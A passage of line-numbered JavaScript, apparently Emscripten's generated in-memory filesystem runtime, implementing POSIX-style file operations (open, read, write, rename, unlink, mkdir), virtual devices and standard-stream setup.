  3477.          }));
  3478.          node.mounted = null;
  3479.          var idx = node.mount.mounts.indexOf(mount);
  3480.          assert(idx !== -1);
  3481.          node.mount.mounts.splice(idx, 1)
  3482.      }),
  3483.      lookup: (function(parent, name) {
  3484.          return parent.node_ops.lookup(parent, name)
  3485.      }),
  3486.      mknod: (function(path, mode, dev) {
  3487.          var lookup = FS.lookupPath(path, {
  3488.              parent: true
  3489.          });
  3490.          var parent = lookup.node;
  3491.          var name = PATH.basename(path);
  3492.          if (!name || name === "." || name === "..") {
  3493.              throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3494.          }
  3495.          var err = FS.mayCreate(parent, name);
  3496.          if (err) {
  3497.              throw new FS.ErrnoError(err)
  3498.          }
  3499.          if (!parent.node_ops.mknod) {
  3500.              throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3501.          }
  3502.          return parent.node_ops.mknod(parent, name, mode, dev)
  3503.      }),
  3504.      create: (function(path, mode) {
  3505.          mode = mode !== undefined ? mode : 438;
  3506.          mode &= 4095;
  3507.          mode |= 32768;
  3508.          return FS.mknod(path, mode, 0)
  3509.      }),
  3510.      mkdir: (function(path, mode) {
  3511.          mode = mode !== undefined ? mode : 511;
  3512.          mode &= 511 | 512;
  3513.          mode |= 16384;
  3514.          return FS.mknod(path, mode, 0)
  3515.      }),
  3516.      mkdirTree: (function(path, mode) {
  3517.          var dirs = path.split("/");
  3518.          var d = "";
  3519.          for (var i = 0; i < dirs.length; ++i) {
  3520.              if (!dirs[i]) continue;
  3521.              d += "/" + dirs[i];
  3522.              try {
  3523.                  FS.mkdir(d, mode)
  3524.              } catch (e) {
  3525.                  if (e.errno != ERRNO_CODES.EEXIST) throw e
  3526.              }
  3527.          }
  3528.      }),
  3529.      mkdev: (function(path, mode, dev) {
  3530.          if (typeof dev === "undefined") {
  3531.              dev = mode;
  3532.              mode = 438
  3533.          }
  3534.          mode |= 8192;
  3535.          return FS.mknod(path, mode, dev)
  3536.      }),
  3537.      symlink: (function(oldpath, newpath) {
  3538.          if (!PATH.resolve(oldpath)) {
  3539.              throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  3540.          }
  3541.          var lookup = FS.lookupPath(newpath, {
  3542.              parent: true
  3543.          });
  3544.          var parent = lookup.node;
  3545.          if (!parent) {
  3546.              throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  3547.          }
  3548.          var newname = PATH.basename(newpath);
  3549.          var err = FS.mayCreate(parent, newname);
  3550.          if (err) {
  3551.              throw new FS.ErrnoError(err)
  3552.          }
  3553.          if (!parent.node_ops.symlink) {
  3554.              throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3555.          }
  3556.          return parent.node_ops.symlink(parent, newname, oldpath)
  3557.      }),
  3558.      rename: (function(old_path, new_path) {
  3559.          var old_dirname = PATH.dirname(old_path);
  3560.          var new_dirname = PATH.dirname(new_path);
  3561.          var old_name = PATH.basename(old_path);
  3562.          var new_name = PATH.basename(new_path);
  3563.          var lookup, old_dir, new_dir;
  3564.          try {
  3565.              lookup = FS.lookupPath(old_path, {
  3566.                  parent: true
  3567.              });
  3568.              old_dir = lookup.node;
  3569.              lookup = FS.lookupPath(new_path, {
  3570.                  parent: true
  3571.              });
  3572.              new_dir = lookup.node
  3573.          } catch (e) {
  3574.              throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3575.          }
  3576.          if (!old_dir || !new_dir) throw new FS.ErrnoError(ERRNO_CODES.ENOENT);
  3577.          if (old_dir.mount !== new_dir.mount) {
  3578.              throw new FS.ErrnoError(ERRNO_CODES.EXDEV)
  3579.          }
  3580.          var old_node = FS.lookupNode(old_dir, old_name);
  3581.          var relative = PATH.relative(old_path, new_dirname);
  3582.          if (relative.charAt(0) !== ".") {
  3583.              throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3584.          }
  3585.          relative = PATH.relative(new_path, old_dirname);
  3586.          if (relative.charAt(0) !== ".") {
  3587.              throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)
  3588.          }
  3589.          var new_node;
  3590.          try {
  3591.              new_node = FS.lookupNode(new_dir, new_name)
  3592.          } catch (e) {}
  3593.          if (old_node === new_node) {
  3594.              return
  3595.          }
  3596.          var isdir = FS.isDir(old_node.mode);
  3597.          var err = FS.mayDelete(old_dir, old_name, isdir);
  3598.          if (err) {
  3599.              throw new FS.ErrnoError(err)
  3600.          }
  3601.          err = new_node ? FS.mayDelete(new_dir, new_name, isdir) : FS.mayCreate(new_dir, new_name);
  3602.          if (err) {
  3603.              throw new FS.ErrnoError(err)
  3604.          }
  3605.          if (!old_dir.node_ops.rename) {
  3606.              throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3607.          }
  3608.          if (FS.isMountpoint(old_node) || new_node && FS.isMountpoint(new_node)) {
  3609.              throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3610.          }
  3611.          if (new_dir !== old_dir) {
  3612.              err = FS.nodePermissions(old_dir, "w");
  3613.              if (err) {
  3614.                  throw new FS.ErrnoError(err)
  3615.              }
  3616.          }
  3617.          try {
  3618.              if (FS.trackingDelegate["willMovePath"]) {
  3619.                  FS.trackingDelegate["willMovePath"](old_path, new_path)
  3620.              }
  3621.          } catch (e) {
  3622.              console.log("FS.trackingDelegate['willMovePath']('" + old_path + "', '" + new_path + "') threw an exception: " + e.message)
  3623.          }
  3624.          FS.hashRemoveNode(old_node);
  3625.          try {
  3626.              old_dir.node_ops.rename(old_node, new_dir, new_name)
  3627.          } catch (e) {
  3628.              throw e
  3629.          } finally {
  3630.              FS.hashAddNode(old_node)
  3631.          }
  3632.          try {
  3633.              if (FS.trackingDelegate["onMovePath"]) FS.trackingDelegate["onMovePath"](old_path, new_path)
  3634.          } catch (e) {
  3635.              console.log("FS.trackingDelegate['onMovePath']('" + old_path + "', '" + new_path + "') threw an exception: " + e.message)
  3636.          }
  3637.      }),
  3638.      rmdir: (function(path) {
  3639.          var lookup = FS.lookupPath(path, {
  3640.              parent: true
  3641.          });
  3642.          var parent = lookup.node;
  3643.          var name = PATH.basename(path);
  3644.          var node = FS.lookupNode(parent, name);
  3645.          var err = FS.mayDelete(parent, name, true);
  3646.          if (err) {
  3647.              throw new FS.ErrnoError(err)
  3648.          }
  3649.          if (!parent.node_ops.rmdir) {
  3650.              throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3651.          }
  3652.          if (FS.isMountpoint(node)) {
  3653.              throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3654.          }
  3655.          try {
  3656.              if (FS.trackingDelegate["willDeletePath"]) {
  3657.                  FS.trackingDelegate["willDeletePath"](path)
  3658.              }
  3659.          } catch (e) {
  3660.              console.log("FS.trackingDelegate['willDeletePath']('" + path + "') threw an exception: " + e.message)
  3661.          }
  3662.          parent.node_ops.rmdir(parent, name);
  3663.          FS.destroyNode(node);
  3664.          try {
  3665.              if (FS.trackingDelegate["onDeletePath"]) FS.trackingDelegate["onDeletePath"](path)
  3666.          } catch (e) {
  3667.              console.log("FS.trackingDelegate['onDeletePath']('" + path + "') threw an exception: " + e.message)
  3668.          }
  3669.      }),
  3670.      readdir: (function(path) {
  3671.          var lookup = FS.lookupPath(path, {
  3672.              follow: true
  3673.          });
  3674.          var node = lookup.node;
  3675.          if (!node.node_ops.readdir) {
  3676.              throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
  3677.          }
  3678.          return node.node_ops.readdir(node)
  3679.      }),
  3680.      unlink: (function(path) {
  3681.          var lookup = FS.lookupPath(path, {
  3682.              parent: true
  3683.          });
  3684.          var parent = lookup.node;
  3685.          var name = PATH.basename(path);
  3686.          var node = FS.lookupNode(parent, name);
  3687.          var err = FS.mayDelete(parent, name, false);
  3688.          if (err) {
  3689.              throw new FS.ErrnoError(err)
  3690.          }
  3691.          if (!parent.node_ops.unlink) {
  3692.              throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3693.          }
  3694.          if (FS.isMountpoint(node)) {
  3695.              throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3696.          }
  3697.          try {
  3698.              if (FS.trackingDelegate["willDeletePath"]) {
  3699.                  FS.trackingDelegate["willDeletePath"](path)
  3700.              }
  3701.          } catch (e) {
  3702.              console.log("FS.trackingDelegate['willDeletePath']('" + path + "') threw an exception: " + e.message)
  3703.          }
  3704.          parent.node_ops.unlink(parent, name);
  3705.          FS.destroyNode(node);
  3706.          try {
  3707.              if (FS.trackingDelegate["onDeletePath"]) FS.trackingDelegate["onDeletePath"](path)
  3708.          } catch (e) {
  3709.              console.log("FS.trackingDelegate['onDeletePath']('" + path + "') threw an exception: " + e.message)
  3710.          }
  3711.      }),
  3712.      readlink: (function(path) {
  3713.          var lookup = FS.lookupPath(path);
  3714.          var link = lookup.node;
  3715.          if (!link) {
  3716.              throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  3717.          }
  3718.          if (!link.node_ops.readlink) {
  3719.              throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3720.          }
  3721.          return PATH.resolve(FS.getPath(link.parent), link.node_ops.readlink(link))
  3722.      }),
  3723.      stat: (function(path, dontFollow) {
  3724.          var lookup = FS.lookupPath(path, {
  3725.              follow: !dontFollow
  3726.          });
  3727.          var node = lookup.node;
  3728.          if (!node) {
  3729.              throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  3730.          }
  3731.          if (!node.node_ops.getattr) {
  3732.              throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3733.          }
  3734.          return node.node_ops.getattr(node)
  3735.      }),
  3736.      lstat: (function(path) {
  3737.          return FS.stat(path, true)
  3738.      }),
  3739.      chmod: (function(path, mode, dontFollow) {
  3740.          var node;
  3741.          if (typeof path === "string") {
  3742.              var lookup = FS.lookupPath(path, {
  3743.                  follow: !dontFollow
  3744.              });
  3745.              node = lookup.node
  3746.          } else {
  3747.              node = path
  3748.          }
  3749.          if (!node.node_ops.setattr) {
  3750.              throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3751.          }
  3752.          node.node_ops.setattr(node, {
  3753.              mode: mode & 4095 | node.mode & ~4095,
  3754.              timestamp: Date.now()
  3755.          })
  3756.      }),
  3757.      lchmod: (function(path, mode) {
  3758.          FS.chmod(path, mode, true)
  3759.      }),
  3760.      fchmod: (function(fd, mode) {
  3761.          var stream = FS.getStream(fd);
  3762.          if (!stream) {
  3763.              throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  3764.          }
  3765.          FS.chmod(stream.node, mode)
  3766.      }),
  3767.      chown: (function(path, uid, gid, dontFollow) {
  3768.          var node;
  3769.          if (typeof path === "string") {
  3770.              var lookup = FS.lookupPath(path, {
  3771.                  follow: !dontFollow
  3772.              });
  3773.              node = lookup.node
  3774.          } else {
  3775.              node = path
  3776.          }
  3777.          if (!node.node_ops.setattr) {
  3778.              throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3779.          }
  3780.          node.node_ops.setattr(node, {
  3781.              timestamp: Date.now()
  3782.          })
  3783.      }),
  3784.      lchown: (function(path, uid, gid) {
  3785.          FS.chown(path, uid, gid, true)
  3786.      }),
  3787.      fchown: (function(fd, uid, gid) {
  3788.          var stream = FS.getStream(fd);
  3789.          if (!stream) {
  3790.              throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  3791.          }
  3792.          FS.chown(stream.node, uid, gid)
  3793.      }),
  3794.      truncate: (function(path, len) {
  3795.          if (len < 0) {
  3796.              throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3797.          }
  3798.          var node;
  3799.          if (typeof path === "string") {
  3800.              var lookup = FS.lookupPath(path, {
  3801.                  follow: true
  3802.              });
  3803.              node = lookup.node
  3804.          } else {
  3805.              node = path
  3806.          }
  3807.          if (!node.node_ops.setattr) {
  3808.              throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3809.          }
  3810.          if (FS.isDir(node.mode)) {
  3811.              throw new FS.ErrnoError(ERRNO_CODES.EISDIR)
  3812.          }
  3813.          if (!FS.isFile(node.mode)) {
  3814.              throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3815.          }
  3816.          var err = FS.nodePermissions(node, "w");
  3817.          if (err) {
  3818.              throw new FS.ErrnoError(err)
  3819.          }
  3820.          node.node_ops.setattr(node, {
  3821.              size: len,
  3822.              timestamp: Date.now()
  3823.          })
  3824.      }),
  3825.      ftruncate: (function(fd, len) {
  3826.          var stream = FS.getStream(fd);
  3827.          if (!stream) {
  3828.              throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  3829.          }
  3830.          if ((stream.flags & 2097155) === 0) {
  3831.              throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3832.          }
  3833.          FS.truncate(stream.node, len)
  3834.      }),
  3835.      utime: (function(path, atime, mtime) {
  3836.          var lookup = FS.lookupPath(path, {
  3837.              follow: true
  3838.          });
  3839.          var node = lookup.node;
  3840.          node.node_ops.setattr(node, {
  3841.              timestamp: Math.max(atime, mtime)
  3842.          })
  3843.      }),
  3844.      open: (function(path, flags, mode, fd_start, fd_end) {
  3845.          if (path === "") {
  3846.              throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  3847.          }
  3848.          flags = typeof flags === "string" ? FS.modeStringToFlags(flags) : flags;
  3849.          mode = typeof mode === "undefined" ? 438 : mode;
  3850.          if (flags & 64) {
  3851.              mode = mode & 4095 | 32768
  3852.          } else {
  3853.              mode = 0
  3854.          }
  3855.          var node;
  3856.          if (typeof path === "object") {
  3857.              node = path
  3858.          } else {
  3859.              path = PATH.normalize(path);
  3860.              try {
  3861.                  var lookup = FS.lookupPath(path, {
  3862.                      follow: !(flags & 131072)
  3863.                  });
  3864.                  node = lookup.node
  3865.              } catch (e) {}
  3866.          }
  3867.          var created = false;
  3868.          if (flags & 64) {
  3869.              if (node) {
  3870.                  if (flags & 128) {
  3871.                      throw new FS.ErrnoError(ERRNO_CODES.EEXIST)
  3872.                  }
  3873.              } else {
  3874.                  node = FS.mknod(path, mode, 0);
  3875.                  created = true
  3876.              }
  3877.          }
  3878.          if (!node) {
  3879.              throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  3880.          }
  3881.          if (FS.isChrdev(node.mode)) {
  3882.              flags &= ~512
  3883.          }
  3884.          if (flags & 65536 && !FS.isDir(node.mode)) {
  3885.              throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
  3886.          }
  3887.          if (!created) {
  3888.              var err = FS.mayOpen(node, flags);
  3889.              if (err) {
  3890.                  throw new FS.ErrnoError(err)
  3891.              }
  3892.          }
  3893.          if (flags & 512) {
  3894.              FS.truncate(node, 0)
  3895.          }
  3896.          flags &= ~(128 | 512);
  3897.          var stream = FS.createStream({
  3898.              node: node,
  3899.              path: FS.getPath(node),
  3900.              flags: flags,
  3901.              seekable: true,
  3902.              position: 0,
  3903.              stream_ops: node.stream_ops,
  3904.              ungotten: [],
  3905.              error: false
  3906.          }, fd_start, fd_end);
  3907.          if (stream.stream_ops.open) {
  3908.              stream.stream_ops.open(stream)
  3909.          }
  3910.          if (Module["logReadFiles"] && !(flags & 1)) {
  3911.              if (!FS.readFiles) FS.readFiles = {};
  3912.              if (!(path in FS.readFiles)) {
  3913.                  FS.readFiles[path] = 1;
  3914.                  Module["printErr"]("read file: " + path)
  3915.              }
  3916.          }
  3917.          try {
  3918.              if (FS.trackingDelegate["onOpenFile"]) {
  3919.                  var trackingFlags = 0;
  3920.                  if ((flags & 2097155) !== 1) {
  3921.                      trackingFlags |= FS.tracking.openFlags.READ
  3922.                  }
  3923.                  if ((flags & 2097155) !== 0) {
  3924.                      trackingFlags |= FS.tracking.openFlags.WRITE
  3925.                  }
  3926.                  FS.trackingDelegate["onOpenFile"](path, trackingFlags)
  3927.              }
  3928.          } catch (e) {
  3929.              console.log("FS.trackingDelegate['onOpenFile']('" + path + "', flags) threw an exception: " + e.message)
  3930.          }
  3931.          return stream
  3932.      }),
  3933.      close: (function(stream) {
  3934.          if (stream.getdents) stream.getdents = null;
  3935.          try {
  3936.              if (stream.stream_ops.close) {
  3937.                  stream.stream_ops.close(stream)
  3938.              }
  3939.          } catch (e) {
  3940.              throw e
  3941.          } finally {
  3942.              FS.closeStream(stream.fd)
  3943.          }
  3944.      }),
  3945.      llseek: (function(stream, offset, whence) {
  3946.          if (!stream.seekable || !stream.stream_ops.llseek) {
  3947.              throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
  3948.          }
  3949.          stream.position = stream.stream_ops.llseek(stream, offset, whence);
  3950.          stream.ungotten = [];
  3951.          return stream.position
  3952.      }),
  3953.      read: (function(stream, buffer, offset, length, position) {
  3954.          if (length < 0 || position < 0) {
  3955.              throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3956.          }
  3957.          if ((stream.flags & 2097155) === 1) {
  3958.              throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  3959.          }
  3960.          if (FS.isDir(stream.node.mode)) {
  3961.              throw new FS.ErrnoError(ERRNO_CODES.EISDIR)
  3962.          }
  3963.          if (!stream.stream_ops.read) {
  3964.              throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3965.          }
  3966.          var seeking = true;
  3967.          if (typeof position === "undefined") {
  3968.              position = stream.position;
  3969.              seeking = false
  3970.          } else if (!stream.seekable) {
  3971.              throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
  3972.          }
  3973.          var bytesRead = stream.stream_ops.read(stream, buffer, offset, length, position);
  3974.          if (!seeking) stream.position += bytesRead;
  3975.          return bytesRead
  3976.      }),
  3977.      write: (function(stream, buffer, offset, length, position, canOwn) {
  3978.          if (length < 0 || position < 0) {
  3979.              throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3980.          }
  3981.          if ((stream.flags & 2097155) === 0) {
  3982.              throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  3983.          }
  3984.          if (FS.isDir(stream.node.mode)) {
  3985.              throw new FS.ErrnoError(ERRNO_CODES.EISDIR)
  3986.          }
  3987.          if (!stream.stream_ops.write) {
  3988.              throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3989.          }
  3990.          if (stream.flags & 1024) {
  3991.              FS.llseek(stream, 0, 2)
  3992.          }
  3993.          var seeking = true;
  3994.          if (typeof position === "undefined") {
  3995.              position = stream.position;
  3996.              seeking = false
  3997.          } else if (!stream.seekable) {
  3998.              throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
  3999.          }
  4000.          var bytesWritten = stream.stream_ops.write(stream, buffer, offset, length, position, canOwn);
  4001.          if (!seeking) stream.position += bytesWritten;
  4002.          try {
  4003.              if (stream.path && FS.trackingDelegate["onWriteToFile"]) FS.trackingDelegate["onWriteToFile"](stream.path)
  4004.          } catch (e) {
  4005.              console.log("FS.trackingDelegate['onWriteToFile']('" + path + "') threw an exception: " + e.message)
  4006.          }
  4007.          return bytesWritten
  4008.      }),
  4009.      allocate: (function(stream, offset, length) {
  4010.          if (offset < 0 || length <= 0) {
  4011.              throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4012.          }
  4013.          if ((stream.flags & 2097155) === 0) {
  4014.              throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  4015.          }
  4016.          if (!FS.isFile(stream.node.mode) && !FS.isDir(stream.node.mode)) {
  4017.              throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  4018.          }
  4019.          if (!stream.stream_ops.allocate) {
  4020.              throw new FS.ErrnoError(ERRNO_CODES.EOPNOTSUPP)
  4021.          }
  4022.          stream.stream_ops.allocate(stream, offset, length)
  4023.      }),
  4024.      mmap: (function(stream, buffer, offset, length, position, prot, flags) {
  4025.          if ((stream.flags & 2097155) === 1) {
  4026.              throw new FS.ErrnoError(ERRNO_CODES.EACCES)
  4027.          }
  4028.          if (!stream.stream_ops.mmap) {
  4029.              throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  4030.          }
  4031.          return stream.stream_ops.mmap(stream, buffer, offset, length, position, prot, flags)
  4032.      }),
  4033.      msync: (function(stream, buffer, offset, length, mmapFlags) {
  4034.          if (!stream || !stream.stream_ops.msync) {
  4035.              return 0
  4036.          }
  4037.          return stream.stream_ops.msync(stream, buffer, offset, length, mmapFlags)
  4038.      }),
  4039.      munmap: (function(stream) {
  4040.          return 0
  4041.      }),
  4042.      ioctl: (function(stream, cmd, arg) {
  4043.          if (!stream.stream_ops.ioctl) {
  4044.              throw new FS.ErrnoError(ERRNO_CODES.ENOTTY)
  4045.          }
  4046.          return stream.stream_ops.ioctl(stream, cmd, arg)
  4047.      }),
  4048.      readFile: (function(path, opts) {
  4049.          opts = opts || {};
  4050.          opts.flags = opts.flags || "r";
  4051.          opts.encoding = opts.encoding || "binary";
  4052.          if (opts.encoding !== "utf8" && opts.encoding !== "binary") {
  4053.              throw new Error('Invalid encoding type "' + opts.encoding + '"')
  4054.          }
  4055.          var ret;
  4056.          var stream = FS.open(path, opts.flags);
  4057.          var stat = FS.stat(path);
  4058.          var length = stat.size;
  4059.          var buf = new Uint8Array(length);
  4060.          FS.read(stream, buf, 0, length, 0);
  4061.          if (opts.encoding === "utf8") {
  4062.              ret = UTF8ArrayToString(buf, 0)
  4063.          } else if (opts.encoding === "binary") {
  4064.              ret = buf
  4065.          }
  4066.          FS.close(stream);
  4067.          return ret
  4068.      }),
  4069.      writeFile: (function(path, data, opts) {
  4070.          opts = opts || {};
  4071.          opts.flags = opts.flags || "w";
  4072.          opts.encoding = opts.encoding || "utf8";
  4073.          if (opts.encoding !== "utf8" && opts.encoding !== "binary") {
  4074.              throw new Error('Invalid encoding type "' + opts.encoding + '"')
  4075.          }
  4076.          var stream = FS.open(path, opts.flags, opts.mode);
  4077.          if (opts.encoding === "utf8") {
  4078.              var buf = new Uint8Array(lengthBytesUTF8(data) + 1);
  4079.              var actualNumBytes = stringToUTF8Array(data, buf, 0, buf.length);
  4080.              FS.write(stream, buf, 0, actualNumBytes, 0, opts.canOwn)
  4081.          } else if (opts.encoding === "binary") {
  4082.              FS.write(stream, data, 0, data.length, 0, opts.canOwn)
  4083.          }
  4084.          FS.close(stream)
  4085.      }),
  4086.      cwd: (function() {
  4087.          return FS.currentPath
  4088.      }),
  4089.      chdir: (function(path) {
  4090.          var lookup = FS.lookupPath(path, {
  4091.              follow: true
  4092.          });
  4093.          if (lookup.node === null) {
  4094.              throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  4095.          }
  4096.          if (!FS.isDir(lookup.node.mode)) {
  4097.              throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
  4098.          }
  4099.          var err = FS.nodePermissions(lookup.node, "x");
  4100.          if (err) {
  4101.              throw new FS.ErrnoError(err)
  4102.          }
  4103.          FS.currentPath = lookup.path
  4104.      }),
  4105.      createDefaultDirectories: (function() {
  4106.          FS.mkdir("/tmp");
  4107.          FS.mkdir("/home");
  4108.          FS.mkdir("/home/web_user")
  4109.      }),
  4110.      createDefaultDevices: (function() {
  4111.          FS.mkdir("/dev");
  4112.          FS.registerDevice(FS.makedev(1, 3), {
  4113.              read: (function() {
  4114.                  return 0
  4115.              }),
  4116.              write: (function(stream, buffer, offset, length, pos) {
  4117.                  return length
  4118.              })
  4119.          });
  4120.          FS.mkdev("/dev/null", FS.makedev(1, 3));
  4121.          TTY.register(FS.makedev(5, 0), TTY.default_tty_ops);
  4122.          TTY.register(FS.makedev(6, 0), TTY.default_tty1_ops);
  4123.          FS.mkdev("/dev/tty", FS.makedev(5, 0));
  4124.          FS.mkdev("/dev/tty1", FS.makedev(6, 0));
  4125.          var random_device;
  4126.          if (typeof crypto !== "undefined") {
  4127.              var randomBuffer = new Uint8Array(1);
  4128.              random_device = (function() {
  4129.                  crypto.getRandomValues(randomBuffer);
  4130.                  return randomBuffer[0]
  4131.              })
  4132.          } else if (ENVIRONMENT_IS_NODE) {
  4133.              random_device = (function() {
  4134.                  return require("crypto").randomBytes(1)[0]
  4135.              })
  4136.          } else {
  4137.              random_device = (function() {
  4138.                  return Math.random() * 256 | 0
  4139.              })
  4140.          }
  4141.          FS.createDevice("/dev", "random", random_device);
  4142.          FS.createDevice("/dev", "urandom", random_device);
  4143.          FS.mkdir("/dev/shm");
  4144.          FS.mkdir("/dev/shm/tmp")
  4145.      }),
  4146.      createSpecialDirectories: (function() {
  4147.          FS.mkdir("/proc");
  4148.          FS.mkdir("/proc/self");
  4149.          FS.mkdir("/proc/self/fd");
  4150.          FS.mount({
  4151.              mount: (function() {
  4152.                  var node = FS.createNode("/proc/self", "fd", 16384 | 511, 73);
  4153.                  node.node_ops = {
  4154.                      lookup: (function(parent, name) {
  4155.                          var fd = +name;
  4156.                          var stream = FS.getStream(fd);
  4157.                          if (!stream) throw new FS.ErrnoError(ERRNO_CODES.EBADF);
  4158.                          var ret = {
  4159.                              parent: null,
  4160.                              mount: {
  4161.                                  mountpoint: "fake"
  4162.                              },
  4163.                              node_ops: {
  4164.                                  readlink: (function() {
  4165.                                      return stream.path
  4166.                                  })
  4167.                              }
  4168.                          };
  4169.                          ret.parent = ret;
  4170.                          return ret
  4171.                      })
  4172.                  };
  4173.                  return node
  4174.              })
  4175.          }, {}, "/proc/self/fd")
  4176.      }),
  4177.      createStandardStreams: (function() {
  4178.          if (Module["stdin"]) {
  4179.              FS.createDevice("/dev", "stdin", Module["stdin"])
  4180.          } else {
  4181.              FS.symlink("/dev/tty", "/dev/stdin")
  4182.          }
  4183.          if (Module["stdout"]) {
  4184.              FS.createDevice("/dev", "stdout", null, Module["stdout"])
  4185.          } else {
  4186.              FS.symlink("/dev/tty", "/dev/stdout")
  4187.          }
  4188.          if (Module["stderr"]) {
  4189.              FS.createDevice("/dev", "stderr", null, Module["stderr"])
  4190.          } else {
  4191.              FS.symlink("/dev/tty1", "/dev/stderr")
  4192.          }
  4193.          var stdin = FS.open("/dev/stdin", "r");
  4194.          assert(stdin.fd === 0, "invalid handle for stdin (" + stdin.fd + ")");
  4195.          var stdout = FS.open("/dev/stdout", "w");
  4196.          assert(stdout.fd === 1, "invalid handle for stdout (" + stdout.fd + ")");
  4197.          var stderr = FS.open("/dev/stderr", "w");
  4198.          assert(stderr.fd === 2, "invalid handle for stderr (" + stderr.fd + ")")
  4199.      }),
  4200.      ensureErrnoError: (function() {
  4201.          if (FS.ErrnoError) return;
  4202.          FS.ErrnoError = function ErrnoError(errno, node) {
  4203.              this.node = node;
  4204.              this.setErrno = (function(errno) {
  4205.                  this.errno = errno;
  4206.                  for (var key in ERRNO_CODES) {
  4207.                      if (ERRNO_CODES[key] === errno) {
  4208.                          this.code = key;
  4209.                          break
  4210.                      }
  4211.                  }
  4212.              });
  4213.              this.setErrno(errno);
  4214.              this.message = ERRNO_MESSAGES[errno]
  4215.          };
  4216.          FS.ErrnoError.prototype = new Error;
  4217.          FS.ErrnoError.prototype.constructor = FS.ErrnoError;
  4218.          [ERRNO_CODES.ENOENT].forEach((function(code) {
  4219.              FS.genericErrors[code] = new FS.ErrnoError(code);
  4220.              FS.genericErrors[code].stack = "<generic error, no stack>"
  4221.          }))
  4222.      }),
  4223.      staticInit: (function() {
  4224.          FS.ensureErrnoError();
  4225.          FS.nameTable = new Array(4096);
  4226.          FS.mount(MEMFS, {}, "/");
  4227.          FS.createDefaultDirectories();
  4228.          FS.createDefaultDevices();
  4229.          FS.createSpecialDirectories();
  4230.          FS.filesystems = {
  4231.              "MEMFS": MEMFS,
  4232.              "IDBFS": IDBFS,
  4233.              "NODEFS": NODEFS,
  4234.              "WORKERFS": WORKERFS
  4235.          }
  4236.      }),
  4237.      init: (function(input, output, error) {
  4238.          assert(!FS.init.initialized, "FS.init was previously called. If you want to initialize later with custom parameters, remove any earlier calls (note that one is automatically added to the generated code)");
  4239.          FS.init.initialized = true;
  4240.          FS.ensureErrnoError();
  4241.          Module["stdin"] = input || Module["stdin"];
  4242.          Module["stdout"] = output || Module["stdout"];
  4243.          Module["stderr"] = error || Module["stderr"];
  4244.          FS.createStandardStreams()
  4245.      }),
  4246.      quit: (function() {
  4247.          FS.init.initialized = false;
  4248.          var fflush = Module["_fflush"];
  4249.          if (fflush) fflush(0);
  4250.          for (var i = 0; i < FS.streams.length; i++) {
  4251.              var stream = FS.streams[i];
  4252.              if (!stream) {
  4253.                  continue
  4254.              }
  4255.              FS.close(stream)
  4256.          }
  4257.      }),
  4258.      getMode: (function(canRead, canWrite) {
  4259.          var mode = 0;
  4260.          if (canRead) mode |= 292 | 73;
  4261.          if (canWrite) mode |= 146;
  4262.          return mode
  4263.      }),
  4264.      joinPath: (function(parts, forceRelative) {
  4265.          var path = PATH.join.apply(null, parts);
  4266.          if (forceRelative && path[0] == "/") path = path.substr(1);
  4267.          return path
  4268.      }),
  4269.      absolutePath: (function(relative, base) {
  4270.          return PATH.resolve(base, relative)
  4271.      }),
  4272.      standardizePath: (function(path) {
  4273.          return PATH.normalize(path)
  4274.      }),
  4275.      findObject: (function(path, dontResolveLastLink) {
  4276.          var ret = FS.analyzePath(path, dontResolveLastLink);
  4277.          if (ret.exists) {
  4278.              return ret.object
  4279.          } else {
  4280.              ___setErrNo(ret.error);
  4281.              return null
  4282.          }
  4283.      }),
  4284.      analyzePath: (function(path, dontResolveLastLink) {
  4285.          try {
  4286.              var lookup = FS.lookupPath(path, {
  4287.                  follow: !dontResolveLastLink
  4288.              });
  4289.              path = lookup.path
  4290.          } catch (e) {}
  4291.          var ret = {
  4292.              isRoot: false,
  4293.              exists: false,
  4294.              error: 0,
  4295.              name: null,
  4296.              path: null,
  4297.              object: null,
  4298.              parentExists: false,
  4299.              parentPath: null,
  4300.              parentObject: null
  4301.          };
  4302.          try {
  4303.              var lookup = FS.lookupPath(path, {
  4304.                  parent: true
  4305.              });
  4306.              ret.parentExists = true;
